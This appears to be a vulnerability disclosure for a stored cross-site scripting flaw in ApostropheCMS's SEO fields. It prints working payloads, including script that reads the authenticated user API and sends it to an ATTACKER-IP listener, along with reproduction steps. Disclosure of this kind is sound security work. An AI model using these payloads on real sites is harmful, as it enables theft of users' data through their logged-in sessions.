Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS

Summary

A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.

Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.

Affected Version

ApostropheCMS (tested on version: v4.28.0)

Vulnerability Details

User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:

• <title>
• <meta> attributes
• structured data (JSON-LD)

This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.

PoC 1

The following payload demonstrates breaking out of HTML context:

"></title><script>alert(1)</script>

This confirms:

• Improper output encoding
• Ability to escape <title> / <meta> contexts
• Arbitrary script execution

PoC 2

This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.

"></title><script>
fetch('/api/v1/@apostrophecms/user', {
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>

Video Proof of Concept

Watch the following YouTube video for a full demonstration of the exploit:

PoC Video: https://youtu.be/FZuulua_pa8

Steps to Reproduce

1. Start a local listener: python3 -m http.server 5656
2. Login to ApostropheCMS as an authenticated user
3. Create or edit a page
4. Navigate to SEO settings
5. Insert the payload into the SEO Title field and Meta Description

"></title><script>
fetch('/api/v1/@apostrophecms/user',{
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>

6. Set Schema Type to "Web page"